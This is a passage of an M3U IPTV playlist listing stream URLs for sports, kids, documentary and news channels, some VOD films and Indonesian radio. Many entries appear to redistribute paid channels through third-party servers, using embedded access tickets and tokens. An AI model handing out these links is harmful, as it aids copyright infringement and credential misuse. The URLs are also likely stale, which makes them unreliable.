tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 2 http://aldirect.hls.huya.com/huyalive/29169025-2686220018-11537227127170531328-2847699120-10057-A-1524041208-1_1200.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 3 http://aldirect.hls.huya.com/huyalive/29169025-2686219962-11537226886652362752-2710080226-10057-A-0-1_1200.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="MOVIES - SERIES", MOVIES 4 http://aldirect.hls.huya.com/huyalive/30765679-2504742278-10757786168918540288-3049003128-10057-A-0-1_1200.m3u8 ############################################## LIFESTYLE ############################################## #EXTINF:-1 tvg-logo="https://imgur.com/CFlF21c" group-title="LIFESTYLE",TV5 MONDE STYLE http://210.210.155.35:80/uq2663/h/h01/index.m3u8 #EXTINF:-1 group-title="LIFESTYLE",FASHION TV http://fash1043.cloudycdn.services/slive/_definst_/ftv_midnite_secrets_adaptive.smil/chunklist_b4700000_t64MTA4MHA=.m3u8 #EXTINF:-1 group-title="LIFESTYLE",HD FASHION http://fash1043.cloudycdn.services/slive/_definst_/ftv_paris_adaptive.smil/chunklist.m3u8?xtreamiptv.m3u8 #EXTINF:-1 tvg-logo="https://c1.staticflickr.com/9/8142/7238493116_82bbf6de31_b.jpg" group-title="LIFESTYLE",Home & Living http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:homelivinghd/playlist.m3u8 #EXTINF:-1 tvg-logo="https://c1.staticflickr.com/9/8142/7238493116_82bbf6de31_b.jpg" group-title="LIFESTYLE",Home & Living (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:homelivinghd/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_ruangtrampil_small.png?v=2.0.1.16" group-title="LIFESTYLE",Ruang Terampil https://livetvhooq.akamaized.net/b1b6d552c80f4ef78bd4c10bfb32268d/eu-central-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1574876064~exp=9007200829617055~acl=/b1b6d552c80f4ef78bd4c10bfb32268d/*/profile_2/chunklist.m3u8*~hmac=43e732720209b4ede047d32a879e517cc1f2b74fc30d7793054e461b394dfe57 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/3/3c/Foodie.png/revision/latest?cb=20190207074112" group-title="LIFESTYLE",Foodie Channel http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/chunklist_b2288000.m3u8 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/3/3c/Foodie.png/revision/latest?cb=20190207074112" group-title="LIFESTYLE",Foodie Channel (1) http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:foodiee/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="LIFESTYLE",ASIAN FOOD CHANNEL https://liveanevia.mncnow.id/live/eds/AFC/sa_hls/AFC-avc1_1000000=6-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSMJU_9tQ7p7AL9yxk99lg7Ajr7muv151xM9D6HJObyzuJ3Z7Uu" group-title="LIFESTYLE",OCEAN TV http://live-oceantvhd.cdnvideo.ru/oceantvhd/oceantvhd/chunklist.m3u8 ############################################### DOCUMENTARY ################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/yN2fxBu.png" group-title="DOCUMENTARY", TV5 ASIA http://rr2.dens.tv/s/s24/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY", RTP INTERNATIONAL http://rr2.dens.tv/s/s38/index.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic http://livecdnh1.tvanywhere.ae/hls/nat_geo/05.m3u8?IWAK-PEYEK.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic (1) http://203.153.218.28:9981/stream/channelid/681683355?ticket=6125EF8C23E1DC1183AD45B22AB25E348AB2CB97&profile=pass #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY",National Geographic (2) https://liveanevia.mncnow.id/live/eds/NatGeoChannel/sa_hls/NatGeoChannel-avc1_2499968=10-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY", NAT GEO WILD http://livecdnh1.tvanywhere.ae/hls/nat_geo_wild/05.m3u8 #EXTINF:-1 tvg-logo="https://www.useetv.com/assets/images/channel/logo_natgeo_big.png?v=2.0.0.13" group-title="DOCUMENTARY", NAT GEO WILD (1) https://liveanevia.mncnow.id/live/eds/NatGeoWild/sa_hls/NatGeoWild-avc1_2499968=10-mp4a_98800_eng=5.m3u8http://203.153.218.28:9981/stream/channelid/1497533758?ticket=A1217AFD7D4BACB9F66B9B369E8BC5B02FB0CEE4&profile=pass #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY", NAT GEO PEOPLE https://liveanevia.mncnow.id/live/eds/NatGeoPeople/sa_hls/NatGeoPeople-avc1_2499968=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID http://203.153.218.28:9981/stream/channelid/1151931232?ticket=078500147F811BFE771335FA49291072620A412D&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID (1) http://203.153.218.28:9981/stream/channelid/1868154562?ticket=3447A71572697A20883C796D7F6C137B2F95FF0C&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/1iDqMdp" group-title="DOCUMENTARY", DISCOVERY ID (2) https://liveanevia.mncnow.id/live/eds/Discovery/sa_hls/Discovery-avc1_2499968=13-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/JsQHmHW" group-title="DOCUMENTARY", ANIMAL PLANET http://203.153.218.28:9981/stream/channelid/1943600623?ticket=B9755D3F6F97FAC8FEFC0E14BC05B2F2CE0CDB76&profile=pass #EXTINF:-1 tvg-logo="https://imgur.com/JsQHmHW" group-title="DOCUMENTARY", ANIMAL PLANET (1) https://liveanevia.mncnow.id/live/eds/AnimalPlanet/sa_hls/AnimalPlanet-avc1_1000000=16-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://commodusprod.hooq.tv/cdnimagesprod/assets/feed/34c6ccfc44fa.png" group-title="DOCUMENTARY",THE PET COLLECTIVE https://livetvhooq.akamaized.net/b31c750a9bbe45fcbe58d72534e6b8f6/ap-southeast-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1577080744~exp=9007200831821735~acl=/b31c750a9bbe45fcbe58d72534e6b8f6/*/profile_2/chunklist.m3u8*~hmac=baa54452db02d00d42b3b34565dd2c7ac10da7fdec56bbe1e717ce4fccaba918 #EXTINF:-1 tvg-logo="https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcTupMmB3cw51YJqk8xVO8WZj3yDVr70ayrxkkLS0_SMNT7pR0t6" group-title="DOCUMENTARY",NASA TV http://iphone-streaming.ustream.tv/uhls/6540154/streams/live/iphone/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY",BBC EARTH https://liveanevia.mncnow.id/live/eds/BBCEarth/sa_hls/BBCEarth-avc1_1000000=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/tRR4zY8" group-title="DOCUMENTARY", CGTN DOCUMENTARY http://45.126.83.51:80/qwr9ew/s/s20/01.m3u8 #EXTINF:-1 tvg-logo="" group-title="DOCUMENTARY",OUTDOOR CHANNEL https://livetvhooq.akamaized.net/4333904e5f68426cae808a645e882206/eu-central-1/5493668622001/profile_2/chunklist.m3u8?hdnts=st=1576672231~exp=9007200831413222~acl=/4333904e5f68426cae808a645e882206/*/profile_2/chunklist.m3u8*~hmac=d22ed12147e6fe5936f8198fcf71838cb4651880f2ac0f4fdea39fb2b8a054b7 ################################################ SPORTS ############################################ #EXTINF:-1 tvg-logo="" group-title="SPORTS",MNC SPORT 1 https://liveanevia.mncnow.id/live/eds/MNCSports/sa_hls/MNCSports-avc1_1000000=7-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",MNC SPORT 2 https://liveanevia.mncnow.id/live/eds/SoccerChannel/sa_hls/SoccerChannel-avc1_1000000=7-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",TVRI SPORT http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRI4)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",SPORTSMAX http://161.0.157.5/PLTV/88888888/224/3221226766/03.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Fight Sports https://liveanevia.mncnow.id/live/eds/FightSports/sa_hls/FightSports-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 1 https://liveanevia.mncnow.id/live/eds/FOXSports/sa_hls/FOXSports-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 2 https://liveanevia.mncnow.id/live/eds/FoxSports2/sa_hls/FoxSports2-avc1_2499968=10-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",FOX Sport 3 https://liveanevia.mncnow.id/live/eds/FoxSports3/sa_hls/FoxSports3-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",RTSH Sport http://79.106.48.2/live/rtsh_sport_ott_p3/playlist.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 1 https://streamer-1.toffeelive.com/live/sony_ten1_hd_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 2 https://streamer-1.toffeelive.com/live/sony_ten2_hd_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony Ten 3 https://streamer-1.toffeelive.com/live/ten_3_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony TEN 3 (Live) http://163.172.85.133:8080/TenS/3/index.m3u8 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="SPORTS",SONY SIX https://streamer-1.toffeelive.com/live/sony_six_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS",Sony ESPN https://streamer-1.toffeelive.com/live/sony_espn_576/index.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS", ASTRAKHAN RU SPORTS http://streaming.astrakhan.ru:80/astrakhanrusporthd/tracks-v3a1/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/WayudGQ.png" group-title="SPORTS", DUBAI RACING UAE http://dmisvthvll.cdn.mangomolo.com/events/smil:events.smil/chunklist_b1600000.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ZNXc0rt.png" group-title="SPORTS", REAL MADRID TV ESP http://rmtvlive-lh.akamaihd.net/i/rmtv_1@154306/index_0450_av-p.m3u8?sd=10&rebase=on #EXTINF:-1 tvg-logo="" group-title="SPORTS", SETANTA SPORT 1 http://ott-cdn.ucom.am:80/s81/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/pUmiY0Z.png" group-title="SPORTS", ALL SPORTS LTN http://tv01.logicahost.com.br:1935/dgrau/dgrau/live.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/8ic79Gy.png" group-title="SPORTS", ONE GOLF PKS http://162.250.201.58:6211/pk/ONEGOLF/tracks-v1a1/mono.m3u8 #EXTINF:-1 tvg-logo="" group-title="SPORTS", CCTV5+ http://111.40.205.89:80/wh7f454c46tw1799532567_1587556162/PLTV/88888888/224/3221225689/index.m3u8?icpid=88888888&RTS=1561695193&from=0&hms_devid=203,223 ############################################# KIDS ################################################################ #EXTINF:-1 tvg-logo="https://i.imgur.com/MwVwCln.png" group-title="KIDS", DISNEY JUNIOR ID http://103.47.132.164/PLTV/88888888/224/3221226011/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/MwVwCln.png" group-title="KIDS", DISNEY JUNIOR ID (1) http://103.47.132.164:80/PLTV/88888888/224/3221226011/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qt7HTq2.png" group-title="KIDS", DISNEY CHANNEL https://liveanevia.mncnow.id/live/eds/DisneyChannel/sa_hls/DisneyChannel-avc1_2499968=7-mp4a_98800_ind=9.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/qt7HTq2.png" group-title="KIDS", DISNEY CHANNEL (1) http://203.153.218.28:9981/stream/channelid/31701170?ticket=7EBA9919CF424955624136DA7C78C1A9C52153D4&profile=pass #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK https://liveanevia.mncnow.id/live/eds/CartoonNetwork/sa_hls/CartoonNetwork-avc1_2499968=10-mp4a_98800_ind=16.m3u8 #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK (1) http://203.153.218.28:9981/stream/channelid/251475608?ticket=3CBFB27E68B1DFEAB62E7781784EE2C7BFA92754&profile=pass #EXTINF:-1 tvg-id="9836fd0e31a19540234d0fe226ec84af" group-title="KIDS",CARTOON NETWORK (2) http://188.35.9.11:21151/udp/185f #EXTINF:-1 tvg-logo="" group-title="KIDS", NICKELODEON http://203.153.218.28:9981/stream/channelid/648970596?ticket=46A461134024F7B021E4EEAF0EA4283BD6CDD078&profile=pass #EXTINF:-1 tvg-logo="" group-title="KIDS",NICKELODEON (2) https://liveanevia.mncnow.id/live/eds/Nickelodeon/sa_hls/Nickelodeon-avc1_1000000=8-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="" group-title="KIDS",NICK JR https://liveanevia.mncnow.id/live/eds/NickJr/sa_hls/NickJr-avc1_1000000=8-mp4a_98800_eng=4.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX http://210.210.155.35/dr9445/h/h144/02.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (1) http://210.210.155.35:80/dr9445/h/h144/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (2) https://liveanevia.mncnow.id/live/eds/Animax/sa_hls/Animax-avc1_2499968=11-mp4a_98800_eng=3.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Dzizh91.png" group-title="KIDS", ANIMAX (3) http://210.210.155.35/session/cdd823d2-de1c-11e9-833b-bd1595c9931a/dr9445/h/h144/index2.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5RcQ3qq.png" group-title="KIDS", ANIPLUS http://210.210.155.35/session/0d216142-f3f5-11e8-ab67-89df93dc8d44/dr9445/h/h02/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/5RcQ3qq.png" group-title="KIDS", ANIPLUS (1) http://210.210.155.35:80/dr9445/h/h02/01.m3u8 #EXTINF:-1 tvg-logo="https://banner2.cleanpng.com/20180721/aq/kisspng-boomerang-logo-television-channel-tom-and-jerry-dog-5b53c4af10de42.3513045215322164950691.jpg" group-title="KIDS",Boomerang https://liveanevia.mncnow.id/live/eds/Boomerang/sa_hls/Boomerang-avc1_2499968=10-mp4a_98800_ind=15.m3u8 #EXTINF:-1 tvg-logo="https://banner2.cleanpng.com/20180721/aq/kisspng-boomerang-logo-television-channel-tom-and-jerry-dog-5b53c4af10de42.3513045215322164950691.jpg" group-title="KIDS",Boomerang (1) http://livecdnh3.tvanywhere.ae/hls/boomerang/index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://upload.wikimedia.org/wikipedia/en/thumb/5/53/Ducktv-logo.jpg/125px-Ducktv-logo.jpg" group-title="KIDS",Duck TV http://livecdnh3.tvanywhere.ae/hls/duck/06.m3u8 #EXTINF:-1 tvg-logo="https://movies.chanelbanten.com/uploads/tv_image/ebs-kids.png" group-title="KIDS",EBS Kids http://ebsonair.ebs.co.kr:1935/ebsutablet500k/tablet500k/playlist.m3u8 #EXTINF:-1 tvg-logo="http://www.logovaults.com/stock_thumb/preview-baby-tv-2013-01-27.jpg" group-title="KIDS",Baby TV https://liveanevia.mncnow.id/live/eds/BabyTV/sa_hls/BabyTV-avc1_2499968=10-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="http://www.logovaults.com/stock_thumb/preview-baby-tv-2013-01-27.jpg" group-title="KIDS",Baby TV (1) https://www.livedoomovie.com/02_Baby_TV_HD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="" group-title="",KIDS TV https://anevia115.mncnow.id:443/live/eds/KidsChannel/sa_hls/KidsChannel-avc1_1000000=9-mp4a_98800_eng=5.m3u8 #EXTINF:-1 tvg-logo="https://tbivision.com/files/2015/05/miao-logo.jpg" group-title="KIDS",Miao Mi https://d3kw4vhbdpgtqk.cloudfront.net/hls/miaomipcweb/04.m3u8 #EXTINF:-1 tvg-logo="https://tbivision.com/files/2015/05/miao-logo.jpg" group-title="KIDS",Miao Mi (1) https://d3kw4vhbdpgtqk.cloudfront.net/hls/miaomipcweb/prog_index.m3u8?fluxustv.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/gsBmKtz" group-title="KIDS", MY KIDS http://210.210.155.35:80/x6bnqe/s/s113/index.m3u8 #EXTINF:-1 tvg-logo="https://vignette.wikia.nocookie.net/logopedia/images/2/2a/NickToons_TV.svg/revision/latest/scale-to-width-down/200?cb=20091118204932" group-title="KIDS",NickToons http://213.252.252.17/live/eds/Nicktoons/HLS_encr/Nicktoons.m3u8 #EXTINF:-1 tvg-logo="" group-title="KIDS",SPACETOON http://95.170.215.109:80/hls/m3u8/Spacetoon-Backup.m3u8 ############################################## VOD MOVIES ############################################################# #EXTINF:-1 group-title="VOD MOVIES",A MONSTER CALLS https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/17303/695/982f8af7-fae4-44b0-bead-0a8b998be55e/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",THE HOST https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/2e72dfe0-9aec-4a58-b9d3-fa16ee0af281/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",THE HUNGER GAMES: CATCHING FIRE https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/b8bc096c-fbe9-4a96-a6b8-510fd43156d8/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",WARM BODIES https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/b546df13-c81c-40bb-a61a-f947764a5b9a/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",YOU NOW SEE ME https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/92a8954a-1873-4f61-85e6-20ad323ff6a3/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd #EXTINF:-1 group-title="VOD MOVIES",YOU NOW SEE ME 2 https://cdn-accedo-01.akamaized.net:443/Content/DASH/VOD/e86b43d6-e58a-4ca1-8480-fe88ffa72b16/a7e4ab17-a5cf-3227-e855-c9907ebb5f13/manifest.mpd ############################################## NEWS CHANNEL ############################################################# #EXTINF:-1 tvg-logo="https://i.imgur.com/rcjrFI5.png" group-title="NEWS", EURONEWS http://rr2.dens.tv/s/s15/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/rcjrFI5.png" group-title="NEWS", EURONEWS (1) http://45.126.83.51:80/qwr9ew/s/s15/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/W8htla7.png" group-title="NEWS", VOA http://voa-lh.akamaihd.net/i/voa_mpls_tvmc3_3@320295/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/Uw0WjCn.png" group-title="NEWS", SKY NEWS UK http://skydvn-nowtv-atv-prod.skydvn.com/atv/skynews/1404/live/04.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EhYVbtU.png" group-title="NEWS", BLOOMBERG (1) http://210.210.155.35:80/uq2663/h/h03/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/EhYVbtU.png" group-title="NEWS", BLOOMBERG (2) http://cdn-videos.akamaized.net/btv/desktop/akamai/europe/live/primary.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oyOKkCv.png" group-title="NEWS", CBS NEWS http://cbsnewshd-lh.akamaihd.net/i/CBSNHD_7@199302/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/oeO07RV.png" group-title="NEWS", CBN NEWS http://bcliveuniv-lh.akamaihd.net/i/news_1@194050/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/glVPwVs.png" group-title="NEWS", BBC NEWS http://bbcwshdlive01-lh.akamaihd.net/i/ptv_1@78015/master.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/AKp8QKR.png" group-title="NEWS", TRT WORLD http://210.210.155.35/x6bnqe/s/s72/S4/mnf.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/BXFVV2w.png" group-title="NEWS", NHK WORLD http://rr.dens.tv/h/h23/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/JV8j6aE" group-title="NEWS", NHK WORLD (1) http://210.210.155.35:80/uq2663/h/h23/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/2uzOb7f.png" group-title="NEWS", RUSSIA TODAY http://rr2.dens.tv/s/s23/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/2uzOb7f.png" group-title="NEWS", RUSSIA TODAY (1) http://45.126.83.51:80/qwr9ew/s/s23/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA ENG http://rr2.dens.tv/s/s17/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA DOC http://aljazeera-doc-apple-live.adaptive.level3.net/apple/aljazeera/hq-doc/800kStream.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/7h3iTvm.png" group-title="NEWS", AL JAZEERA UAE http://rr2.dens.tv/s/s16/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/9RjEXoP" group-title="NEWS", PHOENIX INFONEWS http://45.126.83.51:80/qwr9ew/s/s21/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i5jxspk.png" group-title="NEWS", FRANCE 24 http://45.126.83.51:80/qwr9ew/s/s22/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/i5jxspk.png" group-title="NEWS", FRANCE 24 (1) http://rr2.dens.tv/s/s22/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IflDJAd.png" group-title="NEWS", DW ENGLISH http://rr2.dens.tv/s/s26/index.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/IflDJAd.png" group-title="NEWS", DW ENGLISH (1) http://45.126.83.51:80/qwr9ew/s/s26/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/npB8eRj.png" group-title="NEWS", RTE NEWS http://wmsrtsp1.rte.ie/live/android.sdp/playlist.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/ndeh56Q.png" group-title="NEWS", NEWS MAX NOW http://nmxlive.akamaized.net/hls/live/529965/Live_1/index_720.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/PeeLMp4.png" group-title="NEWS", CNA NEWS http://210.210.155.35:80/uq2663/h/h29/index.m3u8 #EXTINF:-1 tvg-logo="https://imgur.com/W5hxYHY" group-title="NEWS", TV5 MONDE ASIA http://45.126.83.51:80/qwr9ew/s/s24/01.m3u8 #EXTINF:-1 tvg-logo="https://i.imgur.com/1T0ufy9.png" group-title="NEWS", FOX 5 NEW YORK http://api.new.livestream.com/accounts/9263055/events/3189799/live.m3u8 ################################################ RADIO CHANNEL ################################################ #EXTINF:-1 tvg-logo="https://imgur.com/bZWPn27" group-title="RADIO", PRAMBORS JKT http://masima.rastream.com/masima-pramborsjakarta #EXTINF:-1 tvg-logo="https://imgur.com/MSDrIRv" group-title="RADIO", KIS FM JKT http://rly-mari.svara.fm:8000/kis_noauth #EXTINF:-1 tvg-logo="https://imgur.com/J1Q4sAk" group-title="RADIO", MUSTANG JKT http://103.246.184.34:8000/mustang #EXTINF:-1 tvg-logo="https://imgur.com/2fVgjhS" group-title="RADIO", I RADIO JKT http://cloudstreaming.mramedia.com:8000/live #EXTINF:-1 tvg-logo="https://imgur.com/E3uI0VD" group-title="RADIO", HARD ROCK FM JKT http://cloudstreaming.mramedia.com:8001/live #EXTINF:-1 tvg-logo="https://imgur.com/4QarMHJ" group-title="RADIO", TRAXX FM JKT http://cloudstreaming.mramedia.com:8003/live #EXTINF:-1 tvg-logo="https://imgur.com/dHmwXCQ" group-title="RADIO", NAGASWARA JKT http://bogor.nagaswarafm.com:8088/stream #EXTINF:-1 tvg-logo="https://imgur.com/omUkP03" group-title="RADIO", JAK FM JKT http://103.246.184.34:8000/jak #EXTINF:-1 tvg-logo="https://imgur.com/w3sM8xP" group-title="RADIO", GEN FM JKT http://103.246.184.34:8000/genfm #EXTINF:-1 tvg-logo="https://imgur.com/u5AeEXc" group-title="RADIO", VIRGIN RADIO JKT http://14933.live.streamtheworld.com/VIRGINRADAAC_SC #EXTINF:-1 tvg-logo="https://imgur.com/3XvCPjN" group-title="RADIO", COSMOPOLITAN FM JKT http://cloudstreaming.mramedia.com:8002/live #EXTINF:-1 tvg-logo="https://imgur.com/sxOB1Gs" group-title="RADIO", BAHANA FM JKT http://103.16.199.177:8102/; #EXTINF:-1 tvg-logo="https://imgur.com/KkqllU1" group-title="RADIO", HITZ FM JKT https://s2.radio.co/s6929cb202/listen #EXTINF:-1 tvg-logo="https://imgur.com/CKhSJnQ" group-title="RADIO", RDI FM JKT http://202.147.199.99:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/T8jQmfJ" group-title="RADIO", HOT FM JKT http://103.246.184.34:8000/dut #EXTINF:-1 tvg-logo="https://imgur.com/1AT0FH6" group-title="RADIO", ARDAN RADIO http://listento.ardanradio.com:1059/; #EXTINF:-1 tvg-logo="https://imgur.com/uIyrxIp" group-title="RADIO", OZ RADIO http://s3.vinhostmedia.com:1031/;stream/1 #EXTINF:-1 tvg-logo="https://imgur.com/YeE917q" group-title="RADIO", FEMALE RADIO JKT http://masima.rastream.com/masima-femaleradio #EXTINF:-1 tvg-logo="https://imgur.com/L7FtjCo" group-title="RADIO", DELTA FM JKT http://103.16.199.47:8602/; #EXTINF:-1 tvg-logo="https://imgur.com/cN3Jotq" group-title="RADIO", ELSHINTA RADIO http://202.137.4.147:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/nQVfXAp" group-title="RADIO", SINDO RADIO http://202.147.199.101:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/Ovw3cQS" group-title="RADIO", SONORA FM JKT http://101.50.0.77:8000/sonora.aac #EXTINF:-1 tvg-logo="https://imgur.com/NPasPUz" group-title="RADIO", RADIO RODJA http://live2.radiorodja.com/;stream.mp3?_=1 #EXTINF:-1 tvg-logo="https://imgur.com/VsszUXE" group-title="RADIO", RADIO ISLAM INDONESIA http://tashfiyah.radioislam.my.id:8222/;stream/1 #EXTINF:-1 tvg-logo="https://imgur.com/xaQjEbK" group-title="RADIO", DAKWAH SUNNAH http://live.dakwahsunnah.com/;stream.mp3 #EXTINF:-1 tvg-logo="https://imgur.com/xD7qGfy" group-title="RADIO", RADIO RASIL http://203.24.76.112:8000/stereo #EXTINF:-1 tvg-logo="https://imgur.com/PzziPCd" group-title="RADIO", RADIO QU http://live.radioquonline.com:8199/;stream.mp3 #EXTINF:-1 tvg-logo="https://imgur.com/Bhxl8rj" group-title="RADIO", ARRISALAH FM http://u.klikhost.net:7212/; #EXTINF:-1 tvg-logo="https://imgur.com/JLMYpM4" group-title="RADIO", SUARA MUSLIM http://radio.useetv.com:8024/; #EXTINF:-1 tvg-logo="https://imgur.com/Jf5pq4W" group-title="RADIO", RADIO KITA FM http://live.radiosunnah.net/; #EXTINF:-1 tvg-logo="https://imgur.com/Pb7x9wU" group-title="RADIO", ADS RADIO http://175.103.56.9:8009/; #EXTINF:-1 tvg-logo="https://imgur.com/QbuTMgX" group-title="RADIO", AT TAQWA FM http://103.28.148.18:8840/; #EXTINF:-1 tvg-logo="https://imgur.com/9Or8RFi" group-title="RADIO", BENS RADIO JKT http://175.103.58.72:8000/; #EXTINF:-1 tvg-logo="https://imgur.com/2WZLMZM" group-title="RADIO", IROCK https://streamer.radio.co/s493283a7e/listen #EXTINF:-1 tvg-logo="https://imgur.com/8kccVev" group-title="RADIO", PULSE EDM http://naxos.cdnstream.com/1373_128 #EXTINF:-1 tvg-logo="https://imgur.com/e4pYhmg" group-title="RADIO", MIX 247 EDM http://217.116.9.142:9222/stream #EXTINF:-1 tvg-logo="https://i.imgur.com/Vi1QWUy.png" 